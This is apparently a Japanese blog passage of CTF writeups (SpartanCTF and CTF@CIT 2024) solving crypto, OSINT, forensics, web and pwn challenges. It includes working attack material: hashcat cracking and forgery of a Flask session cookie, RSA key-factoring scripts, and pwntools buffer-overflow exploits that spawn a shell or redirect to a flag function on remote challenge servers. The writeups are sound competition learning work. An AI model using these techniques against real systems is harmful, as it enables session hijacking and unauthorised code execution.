i GUEss YOu CANnot apPReciaTe THE faCt tHAT i Was rEAlly tRyINg TO MakE the wHOlE fLaG acqUisiTIon THINg EAsY FOR yoU. buT I guess YOU jUsT cAn'T SAY YeS. For oNCe. YOu do kNoW WhAT The POInT of tHiS CTF Is RIghT? YOu SHouLd Be DOInG eveRyTHING yOU CaN TO gET aS many POints As POSsIble, As SOON As POSSibLe. tHEre is oNLY oNe FiRsT PLACe WINnER. YoU SimplY cANnOT Win WIThOut aNY FLAgS.
#!/usr/bin/env python3
from string import *

s = "i GUEss YOu CANnot apPReciaTe THE faCt tHAT i Was rEAlly tRyINg TO MakE the wHOlE fLaG acqUisiTIon THINg EAsY FOR yoU. buT I guess YOU jUsT cAn'T SAY YeS. For oNCe. YOu do kNoW WhAT The POInT of tHiS CTF Is RIghT? YOu SHouLd Be DOInG eveRyTHING yOU CaN TO gET aS many POints As POSsIble, As SOON As POSSibLe. tHEre is oNLY oNe FiRsT PLACe WINnER. YoU SimplY cANnOT Win WIThOut aNY FLAgS."

bin_flag = ''
for c in s:
    if c in ascii_lowercase:
        bin_flag += '0'
    elif c in ascii_uppercase:
        bin_flag += '1'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8], 2))
print(flag)
spartanCTF{y0u_cant_get_what_y0u_want}

Eightyfour (Interactive 140)

出題される計算式に答えていく。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 24386))

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for i in range(10):
    print('Round %d' % (i + 1))
    data = recvuntil(s, b'= ')
    print(data, end='')
    answer = eval(data[:-3])
    print(answer)
    s.sendall(str(answer).encode() + b'\n')

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Launching computational intelligence benchmarks.

Please respond to each question with an immediate response. If a reply takes too long, the test will be terminated.

Round 1
654050919262795248 + 333111857139109945 = 987162776401905193
Round 2
327674781586996111 + 451991449093278596 = 779666230680274707
Round 3
620395274353857848 + 164297346893514715 = 784692621247372563
Round 4
308289783000397819 + 482988808666491610 = 791278591666889429
Round 5
408896797767172917 + 825717191706866999 = 1234613989474039916
Round 6
249224077449216570 + 201272982942158454 = 450497060391375024
Round 7
192596142621718374 + 662717274944450725 = 855313417566169099
Round 8
93698272602889979 + 904723096742383268 = 998421369345273247
Round 9
521319513171522720 + 929022107614600343 = 1450341620786123063
Round 10
556243972330491330 + 555005377563543896 = 1111249349894035226

NO COMPUTATIONAL ERRORS DETECTED. TEST SUCCESS.

spartanCTF{n0_y0u_cant_b0rr0w_my_c4lculat0r}
spartanCTF{n0_y0u_cant_b0rr0w_my_c4lculat0r}

Chocolate Chocolate Chip (Interactive 150)

https://spartan-chocolate-chocolate-chip-service.chals.io/にアクセスすると、クッキーのsessionに以下が設定されている。

eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE

https://spartan-chocolate-chocolate-chip-service.chals.io/loginにアクセスすると、以下のように表示される。

SERVICE UPDATE 4/17/24
Login mechanism temporarily disabled for security audit. Admins should know how to bypass this anyway. --baker

Flaskのsession情報と思われる。このHMAC Keyをクラックする。

$ cat session.txt     
eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE
$ hashcat -m 29100 session.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz, 1433/2930 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE:webdesign
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 29100 (Flask Session Cookie ($salt.$salt.$pass))
Hash.Target......: eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE
Time.Started.....: Thu Apr 18 17:24:24 2024 (1 sec)
Time.Estimated...: Thu Apr 18 17:24:25 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1279.9 kH/s (0.28ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 382976/14344385 (2.67%)
Rejected.........: 0/382976 (0.00%)
Restore.Point....: 381952/14344385 (2.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: womendeai -> virgo74
Hardware.Mon.#1..: Util: 47%

Started: Thu Apr 18 17:24:01 2024
Stopped: Thu Apr 18 17:24:27 2024

ヘッダ部のデータを確認する。

$ echo eyJ1c2VyIjoiZ3Vlc3QifQ== | base64 -d
{"user":"guest"}

baker用のクッキーを作成してみる。

$ flask-unsign --sign --cookie "{'user': 'baker'}" --secret 'webdesign'
eyJ1c2VyIjoiYmFrZXIifQ.ZiDcsg.uk11ci7v9W1OTkKP-gYJUonD7Lo

このデータをクッキーのsessionに設定し、https://spartan-chocolate-chocolate-chip-service.chals.io/にアクセスすると、以下のように表示される。

Here are your cookies!

「cookies」のリンク先のhttps://spartan-chocolate-chocolate-chip-service.chals.io/pantryにアクセスすると、クッキーが焼けるような動画GIFが表示される。
クッキーのsessionを見ると、以下が設定されている。

eyJjb29raWUiOiJjaG9jb2xhdGVfY2hpcCIsImZsYWciOiJzcGFydGFuQ1RGezN2M3J5X2IwZHlfbDB2ZXNfYV9jMDBrMWV9IiwidXNlciI6ImJha2VyIn0.ZiDesw.uVJXIPjJKfQ5MH_oKefH6GYX4EU

https://jwt.io/で内容を確認すると、ヘッダ部にフラグが含まれていた。

{
  "cookie": "chocolate_chip",
  "flag": "spartanCTF{3v3ry_b0dy_l0ves_a_c00k1e}",
  "user": "baker"
}
spartanCTF{3v3ry_b0dy_l0ves_a_c00k1e}

Excavator (Interactive 150)

https://spartan-excavator-service.chals.io/robots.txtにアクセスすると、以下のように表示された。

User-agent: *
Disallow: /index.html
Disallow: /portfolio.html
Disallow: /login
Allow: about.html
Allow: contact.html
# Disallow: /login.old.html

https://spartan-excavator-service.chals.io/login.old.htmlにアクセスする。HTMLソースを見ると、スクリプトに以下のように書いてある。

    <script>
    
      function authenticate(){
        var authorised;
        
        var username = document.getElementById("username").value;
        var password = document.getElementById("password").value;

        if(username == "ExcavationAdmin" && btoa(password) == "U3VwM3JTM2N1cmVQYXNzdzByZDE="){
          authorised = true;
        }else{ 
          authorised = false;
          alert("Sorry, credentials are incorrect.");
        }
        //return result
        return authorised;
      }
    </script>
$ echo U3VwM3JTM2N1cmVQYXNzdzByZDE= | base64 -d                                
Sup3rS3curePassw0rd1

https://spartan-excavator-service.chals.io/loginで以下を入力し、ログインすると、ポップアップでフラグが表示された。

Username: ExcavationAdmin
Password: Sup3rS3curePassw0rd1
spartanCTF{y0u_dug_th3_passw0rd_up!}

Destroy After Use (Interactive 250)

$ nc 0.cloud.chals.io 13998
MDS v1.0.0
=========================================
Welcome to our proprietary message delivery service. For authorized staff members only.

•Enter "RETRIEVE" to receive an encrypted message left by a client. Public key used for encryption included.
•Enter "QUIT" to terminate this session.

>RETRIEVE

PUBLIC KEY:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAMtU42MYyRVcPCunNpMQ/avI4TeekEHttN88dzDw15q4FJ313R+FXVCq
V2VC6QBDh/1dpg1z78R/85cfptysA62g73awWw4WF+xRm1N6O1FhYcVLB9GzZwQe
EJfDMQXJM+A/k8s/7kplkZNoB4N9DmNNmaQ7tRy4KCJ5IiK507MvAgMBAAE=
-----END RSA PUBLIC KEY-----

MESSAGE:
qdqih2tpdSoPwf1A4shbo4Z2wE7cAJG5A9zA3oK0iAU/ribRvg8vCyauPfpY+mKhoxq4vlUcT8V9fa83cOIncroPPWkg+ZUrKRodbB7HVvCZmsk2+ba1QcyNmE/4QeJjovGKEHX+70vn06+bv2mPlUzwxmJRYvFFCiEE8TP+YEc=

>RETRIEVE

PUBLIC KEY:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBANWxT1paYAPKmaGR1X1uf4uYHz8BMwHQHbk8c5cmyz7slqb2GtM5dTN1
DvxMLXGjDZ5HY120WRt8G71znmxQsQrRwzjasReMk5oIyHjiCSYUDuV32y2QFbgq
PWFVVYjVF48BaOc07YDv55ZfDIn69RILy9Be6mgiWP33BvpiltSrAgMBAAE=
-----END RSA PUBLIC KEY-----

MESSAGE:
zhT+LePqZHC97DShZ67IN/pmQ8e0raaGDvDd80ubIlTN1gmQBOH2bpSI3kA4/j8ZY+ikQ7NVUUXQkPCG4hnpJSk80eWXWl/KgTY7DbS1bBFK2oMOClUkjTky7nH9MYRBE+yW0Ur7cO3YfstAgAv1FP0ZU2dJ1f9xMUvBtWfdcN4=

> 

RETRIEVEで毎回異なる公開鍵で暗号化されているようだ。公約数を取れば、素因数分解できるので、復号できる。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from base64 import *

pub_data1 = '''-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAMtU42MYyRVcPCunNpMQ/avI4TeekEHttN88dzDw15q4FJ313R+FXVCq
V2VC6QBDh/1dpg1z78R/85cfptysA62g73awWw4WF+xRm1N6O1FhYcVLB9GzZwQe
EJfDMQXJM+A/k8s/7kplkZNoB4N9DmNNmaQ7tRy4KCJ5IiK507MvAgMBAAE=
-----END RSA PUBLIC KEY-----'''

pub_data2 = '''-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBANWxT1paYAPKmaGR1X1uf4uYHz8BMwHQHbk8c5cmyz7slqb2GtM5dTN1
DvxMLXGjDZ5HY120WRt8G71znmxQsQrRwzjasReMk5oIyHjiCSYUDuV32y2QFbgq
PWFVVYjVF48BaOc07YDv55ZfDIn69RILy9Be6mgiWP33BvpiltSrAgMBAAE=
-----END RSA PUBLIC KEY-----'''

c1 = 'qdqih2tpdSoPwf1A4shbo4Z2wE7cAJG5A9zA3oK0iAU/ribRvg8vCyauPfpY+mKhoxq4vlUcT8V9fa83cOIncroPPWkg+ZUrKRodbB7HVvCZmsk2+ba1QcyNmE/4QeJjovGKEHX+70vn06+bv2mPlUzwxmJRYvFFCiEE8TP+YEc='
c1 = bytes_to_long(b64decode(c1))

pubkey1 = RSA.importKey(pub_data1)
n1 = pubkey1.n
e1 = pubkey1.e

pubkey2 = RSA.importKey(pub_data2)
n2 = pubkey2.n
e2 = pubkey2.e

assert e1 == e2

p = GCD(n1, n2)
q = n1 // p
phi = (p - 1) * (q - 1)
d = inverse(e1, phi)
m = pow(c1, d, n1)
flag = long_to_bytes(m)
flag = flag[flag.index(b'spartanCTF{'):].decode()
print(flag)
spartanCTF{n3v3r_r3us3_pr1m3_n4mb3rs_plz_f023e56a}

Touch Base (OSINT 25)

HTMLソース見て、"spartan"で検索すると、以下が見つかった。

data-code="&lt;!-- spartanCTF{w3lc0m3_t0_th3_c1ub_bb78d66e} --&gt;"
spartanCTF{w3lc0m3_t0_th3_c1ub_bb78d66e}

Evesdropper (OSINT 30)

問題文にある数値の羅列をASCIIコードとしてデコードする。

#!/usr/bin/env python3

ct = '78 105 99 101 32 106 111 98 32 114 101 99 111 110 103 105 122 105 110 103 32 65 83 67 73 73 44 32 98 117 116 32 116 104 105 115 32 119 97 115 32 106 117 115 116 32 97 32 114 101 100 32 104 101 114 114 105 110 103 33 32 82 101 109 101 109 98 101 114 44 32 104 97 99 107 105 110 103 32 105 115 32 97 98 111 117 116 32 102 105 110 100 105 110 103 32 116 104 101 32 101 97 115 105 101 115 116 32 119 97 121 32 116 111 32 103 101 116 32 116 104 101 32 100 97 116 97 32 121 111 117 32 110 101 101 100 46 32 73 110 32 97 32 114 101 97 108 32 119 111 114 108 100 32 115 99 101 110 97 114 105 111 44 32 121 111 117 32 109 105 103 104 116 32 116 114 121 32 103 111 111 103 108 105 110 103 32 66 111 98 32 116 111 32 115 101 101 32 119 104 111 32 104 101 39 115 32 107 110 111 119 110 32 116 111 32 98 101 32 114 101 103 117 108 97 114 108 121 32 105 110 32 99 111 110 116 97 99 116 32 119 105 116 104 32 40 115 111 99 105 97 108 32 109 101 100 105 97 47 98 108 111 103 32 112 111 115 116 115 44 32 112 105 99 116 117 114 101 115 44 32 98 117 115 105 110 101 115 115 32 112 114 111 102 105 108 101 115 44 32 101 116 99 41 46 32 77 97 121 98 101 32 121 111 117 32 99 111 117 108 100 32 101 118 101 110 32 116 114 121 32 103 111 111 103 108 105 110 103 32 115 101 118 101 114 97 108 32 111 102 32 116 104 101 32 110 97 109 101 115 32 112 114 111 118 105 100 101 100 32 116 111 103 101 116 104 101 114 32 97 110 100 32 115 101 101 32 119 104 97 116 32 121 111 117 32 103 101 116 46 46 46'
ct = ct.split(' ')

msg = ''
for c in ct:
    msg += chr(int(c))
print(msg)
Nice job recongizing ASCII, but this was just a red herring! Remember, hacking is about finding the easiest way to get the data you need. In a real world scenario, you might try googling Bob to see who he's known to be regularly in contact with (social media/blog posts, pictures, business profiles, etc). Maybe you could even try googling several of the names provided together and see what you get...

BobとEveとのやりとりによく出てくるのはAlice。

spartanCTF{alice}

Recovery (OSINT 60)

以下のハッシュが提示されている。

07fc8e7f9f675b4281b1ac40ca187eb5da698024cb6bf893be62a96da33cfad5

CrackStationでクラックする。

bigdork!
spartanCTF{bigdork!}

Hide and Seek (OSINT 150)

https://twitter.com/dstein1971を見ると、2023/12/22に以下のメッセージがある。

New blog post just dropped. You know where to find it.

以下にブログについてのリポジトリがある。

https://www.github.com/dstein1971

コミット履歴の「update README」を見てみると、フラグが書いてあった。

spartanCTF{th1s_1s_n0t_a_great_1d3a_dcccfd40}

In Plain Sight (Forensics 50)

$ steghide extract -sf in_plain_sight.jpg        
Enter passphrase: 
wrote extracted data to "flag".
$ cat flag            
# almost there!
c3BhcnRhbkNURntoMWRkZW5fMW5fcGxhMW5fc2lnaHRfYWJiNTA2NWF9Cg==
$ echo c3BhcnRhbkNURntoMWRkZW5fMW5fcGxhMW5fc2lnaHRfYWJiNTA2NWF9Cg== | base64 -d
spartanCTF{h1dden_1n_pla1n_sight_abb5065a}
spartanCTF{h1dden_1n_pla1n_sight_abb5065a}

Desist (Forensics 60)

$ strings letter_v2.pdf | grep spartanCTF                        
/Producer (spartanCTF{n3v3r_f0rget_th3_m3tadata_5b1bfc6e})
  <pdf:Producer>spartanCTF{n3v3r_f0rget_th3_m3tadata_5b1bfc6e}</pdf:Producer>
spartanCTF{n3v3r_f0rget_th3_m3tadata_5b1bfc6e}

(Lack of) Authority (Forensics 99)

$ openssl x509 -text -noout -in cert.pem
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            0c:00:e8:06:9d:7f:a0:6b:a8:e4:50:c3:d8:c4:ed:bc:9c:c4:b8:6e
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = US, ST = TEXAS, L = AUSTIN, O = SPARTANCTF, OU = 2024, CN = spartanCTF{w3lc0me_t0_th3_w0rld_0f_auth0r1ty}
        Validity
            Not Before: Mar 11 21:41:07 2024 GMT
            Not After : Mar 11 21:41:07 2025 GMT
        Subject: C = US, ST = TEXAS, L = AUSTIN, O = SPARTANCTF, OU = 2024, CN = spartanCTF{w3lc0me_t0_th3_w0rld_0f_auth0r1ty}
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                :
                :

証明書のCNにフラグが設定されていた。

spartanCTF{w3lc0me_t0_th3_w0rld_0f_auth0r1ty}

Can You Hear the Music? (Forensics 120)

Audacityで開く。チャネルの1つ目がDTMFの音声のようなので、切り出す。
切り出したwavファイルをhttps://dtmf.netlify.app/でデコードする。

1151129711411697110678470123108511169510951951045211851959711712095110511201169511649109101955652985151989748125

ASCIIコードが結合されているような文字列なので、その前提で文字にする。

#!/usr/bin/env python3
enc = '1151129711411697110678470123108511169510951951045211851959711712095110511201169511649109101955652985151989748125'

flag = ''
code = ''
for c in enc:
    code += c
    if int(code) > 31 and int(code) < 127:
        flag += chr(int(code))
        code = ''

print(flag)
spartanCTF{l3t_m3_h4v3_aux_n3xt_t1me_84b33ba0}

Whose Encoding Is It Anyway? [I] (Crypto 30)

CyberChefの「From Base32」でデコードする。

spartanCTF{just_an0ther_0bs0l3t3_enc0d1ng_4a809cb9}

Crossing the Rubicon [I] (Crypto 30)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 23:
This one's probably best left to history. Nice work! Flag: spartanCTF{3_7u_Bru7e?37284749}
spartanCTF{3_7u_Bru7e?37284749}

Something’s Fishy Here (Crypto 30)

Deadfish Languageと推測し、https://www.dcode.fr/deadfish-languageでデコードする。ASCII Charactersとしでデコードすると、以下のようになった。

115 112 97 114 116 97 110 67 84 70 123 115 119 49 109 109 49 110 103 95 119 49 116 104 95 116 104 51 95 102 49 115 104 49 51 115 56 55 50 57 52 55 54 52 50 57 50 125

これをASCIIコードとしてデコードする。

>>> codes = '115 112 97 114 116 97 110 67 84 70 123 115 119 49 109 109 49 110 103 95 119 49 116 104 95 116 104 51 95 102 49 115 104 49 51 115 56 55 50 57 52 55 54 52 50 57 50 125'
>>> codes = codes.split(' ')
>>> ''.join([chr(int(code)) for code in codes])
'spartanCTF{sw1mm1ng_w1th_th3_f1sh13s87294764292}'
spartanCTF{sw1mm1ng_w1th_th3_f1sh13s87294764292}

Crossing the Rubicon [II] (Crypto 35)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 13:
How'd you like the sequel? ROT-13 is reciprocal, but not very safe. Nice hack! Here's your prize: spartanCTF{13_12n't_LuCK7_4ft3r_411.27453829}
spartanCTF{13_12n't_LuCK7_4ft3r_411.27453829}

Whose Encoding is it Anyway? [II] (Crypto 50)

Chappe Alphabet。https://www.dcode.fr/chappe-alphabetで復号する。

spartanCTF{who_is_this_chappe_guy}

Almost Large Enough (Crypto 80)

$ openssl rsa -pubin -text < uploads.pub
Public-Key: (1044 bit)
Modulus:
    0b:0e:a2:4a:68:f8:be:dc:fb:26:ce:59:dc:00:ac:
    0e:a9:5d:14:86:18:57:7d:cd:08:43:e4:af:69:df:
    16:9a:11:58:a1:73:91:a0:af:b0:8e:d6:71:1a:71:
    b2:0f:4a:90:e4:60:44:85:de:e3:1a:3b:9a:77:bf:
    98:0a:dc:f5:4e:ba:01:5f:44:3e:42:c2:12:24:7e:
    54:df:75:04:73:c3:43:2d:f9:4f:20:6d:fb:36:ee:
    9e:c7:79:a4:67:78:e0:a6:e6:51:8d:b6:e2:c8:ce:
    9d:ae:15:d6:12:2e:9d:b7:48:03:c0:e2:94:81:38:
    32:1d:49:e5:b4:bf:62:6f:6a:db:1f
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwsOokpo+L7c+ybOWdwArA6pXRSG
GFd9zQhD5K9p3xaaEVihc5Ggr7CO1nEacbIPSpDkYESF3uMaO5p3v5gK3PVOugFf
RD5CwhIkflTfdQRzw0Mt+U8gbfs27p7HeaRneOCm5lGNtuLIzp2uFdYSLp23SAPA
4pSBODIdSeW0v2JvatsfAgMBAAE=
-----END PUBLIC KEY-----

nは以下の値になっている。

n = 0x0b0ea24a68f8bedcfb26ce59dc00ac0ea95d148618577dcd0843e4af69df169a1158a17391a0afb08ed6711a71b20f4a90e4604485dee31a3b9a77bf980adcf54eba015f443e42c212247e54df750473c3432df94f206dfb36ee9ec779a46778e0a6e6518db6e2c8ce9dae15d6122e9db74803c0e2948138321d49e5b4bf626f6adb1f
  = 130268447115800793670969941660122023743138867500338107215168957059882598899049986121633175112078836299883375143848298686533154709548789077575282105358896390203127587810012637937058130600063960122373086865292975173802950727976807192933591320309038955899332929955344975932115610894739698545200885848588197476910684959

nをfactordbで素因数分解する。

n = 968857 * 134455804226837184095248258164127444755148455861224212876790854646126929876183983933266906377389889632715018979940588432073210710712508737177191376393932634230983094316305334984479784529671520278403404078510012492868349744055941375180848484667024087042084569709817832695759653792809154029130084056355269639287

秘密鍵を生成する。

$ python3 rsatool.py -f PEM -o uploads.pri -p 968857 -q 134455804226837184095248258164127444755148455861224212876790854646126929876183983933266906377389889632715018979940588432073210710712508737177191376393932634230983094316305334984479784529671520278403404078510012492868349744055941375180848484667024087042084569709817832695759653792809154029130084056355269639287
Using (p, q) to calculate RSA paramaters

n =
b0ea24a68f8bedcfb26ce59dc00ac0ea95d148618577dcd0843e4af69df169a1158a17391a0afb08
ed6711a71b20f4a90e4604485dee31a3b9a77bf980adcf54eba015f443e42c212247e54df750473c
3432df94f206dfb36ee9ec779a46778e0a6e6518db6e2c8ce9dae15d6122e9db74803c0e29481383
21d49e5b4bf626f6adb1f

e = 65537 (0x10001)

d =
2a11808d1dab515902c7b3682edf922db1ffa743201998f00c9318c713c8de796f45905cc9699083
412387c13bcfcc5aac94b8ffe28f24604e98bf4b5d23f718d75bfa1d6e898051cb765bc3d9bd295f
822b68c9b679fd2f48e729a37269bd7ed752e5280058a634c7fe938f580b01be9a1c5b3d87b19ae0
3d8ad00b7b37d0d6f0e1

p = 968857 (0xec899)

q =
bf78af09c43035dd0541e88e57ec13a86e3c4139310082258336354fd4dcd8a18c2edc85215c7716
fab40b26e71737970c1de78db2d236d6ec3f17213b88f4aa3fe1c5a34177a758293003bb9e2a69d6
761f7bf95f48418eddeb2c3d715d8ba2619d16e9790e2b40dd15c7f887370e770b8f4775814ddd67
f806f20887ddfc77

Saving PEM as uploads.pri

生成した秘密鍵で復号する。

$ openssl pkeyutl -decrypt -in file.enc -inkey uploads.pri
spartanCTF{n3v3r_us3_small_pr1m3_numb3rs_62036ce9}
spartanCTF{n3v3r_us3_small_pr1m3_numb3rs_62036ce9}

Numbers on the Orient Express (Crypto 80)

CyberChefで以下の順で復号する。

・ROT13
 ・Rotate lower case chars: チェックあり
 ・Rotate upper case chars: チェックあり
 ・Rotate numbers: チェックあり
 ・Amount: 8
・Rail Fence Cipher Decode
 ・Key: 8
 ・Offset: 0
spartanCTF{A11_A80ARD!48937298}

CTF@CIT 2024 Writeup

この大会は2024/4/20 6:00(JST)~2024/4/22 4:00(JST)に開催されました。
今回もチームで参戦。結果は3690点で553チーム中66位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to the first CTF@CIT (Welcome!)

問題にフラグが書いてあった。

CIT{F1rst_Fl4g}

Discord (Welcome!)

Discordに入り、#ctf-infoチャネルのトピックを見ると、フラグが書いてあった。

CIT{y0u_4r3_1n_th3_d1sc0rd_y1p33}

Lost Flag (Misc)

challengesのページでHTMLソースを見ると、以下の部分があった。

<p style="color:white;">CIT{Y0U_H4V3_3Y3S!}</p>
CIT{Y0U_H4V3_3Y3S!}

Robots (OSINT)

https://ctf.cyber-cit.club/robots.txtにアクセスすると、以下のように書いてあった。

User-agent: *
Disallow: /admin
CIT{1m_4_r0b0t}
CIT{1m_4_r0b0t}

I'm as cold as a wise man (OSINT)

写真の上の方に絞り、画像検索する。左の建物が一致していそうな画像が見つかり、そのページを見てみる。

https://www.coldfootcamp.com/eat

Google mapでそのあたりを見てみると、通りの名前は以下になっている。

Coldfoot Rd (コールドフットロード)
CIT{coldfoot}

ezpz (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  char local_58 [72];
  ulong local_10;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  iVar1 = rand();
  local_10 = (ulong)(long)iVar1 % 5;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("\x1b[32m~ authored by nop.so (https://nop.so/) ~\x1b[0m\n\n");
  puts(*(char **)(pwn_pep_talk + local_10 * 8));
  puts("\n");
  puts("i\'m so tired of pwning and pwning all these insecure binaries.");
  puts("could you write me something to put the pep back in my step so");
  puts("I can pop some shells and make nop.so proud?");
  gets(local_58);
  puts("\nthank you. I will cherish this.\n");
  if (local_10 == 0xffffffffffffffff) {
    system("/bin/sh");
  }
  return 0;
}

BOFでlocal_10を0xffffffffffffffffで上書きすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('165.227.103.166', 6002)
else:
    p = process('./ezpz')

payload = b'A' * 72
payload += p64(0xffffffffffffffff)

data = p.recvuntil(b'?\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 165.227.103.166 on port 6002: Done
~ authored by nop.so (https://nop.so/) ~


"to pwn or not to pwn. that is the question."


i'm so tired of pwning and pwning all these insecure binaries.
could you write me something to put the pep back in my step so
I can pop some shells and make nop.so proud?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\xff'
[*] Switching to interactive mode

thank you. I will cherish this.

$ ls
flag.txt
run
$ cat flag.txt
CIT{pr0bably_t00_3azy_4_U_9920int3oksalfqFoi3b3ofiql7}
CIT{pr0bably_t00_3azy_4_U_9920int3oksalfqFoi3b3ofiql7}

ret2monke (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_78 [112];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("\x1b[32m~ authored by nop.so (https://nop.so/) ~\x1b[0m\n\n");
  puts("in today\'s society, is there not joy to be found in the simpler things?");
  gets(local_78);
  return 0x13;
}

void monke(void)

{
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  FILE *local_10;
  
  local_118 = 0;
  local_110 = 0;
  local_108 = 0;
  local_100 = 0;
  local_f8 = 0;
  local_f0 = 0;
  local_e8 = 0;
  local_e0 = 0;
  local_d8 = 0;
  local_d0 = 0;
  local_c8 = 0;
  local_c0 = 0;
  local_b8 = 0;
  local_b0 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_10 = fopen("./flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("internal error - contact @nop.so on discord");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fgets((char *)&local_118,0x100,local_10);
  puts((char *)&local_118);
  fclose(local_10);
  return;
}

BOFでmonke関数をコールできれば良い。

$ ROPgadget --binary ret2monke | grep ": ret" 
0x000000000040101a : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('165.227.103.166', 6001)
else:
    p = process('./ret2monke')

elf = ELF('./ret2monke')

ret_addr = 0x40101a
monke_addr = elf.symbols['monke']

payload = b'A' * 120
payload += p64(ret_addr)
payload += p64(monke_addr)

data = p.recvuntil(b'?\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvuntil(b'\n').decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 165.227.103.166 on port 6001: Done
[*] '/media/sf_Shared/ret2monke'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
~ authored by nop.so (https://nop.so/) ~


in today's society, is there not joy to be found in the simpler things?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x86\x11@\x00\x00\x00\x00\x00'
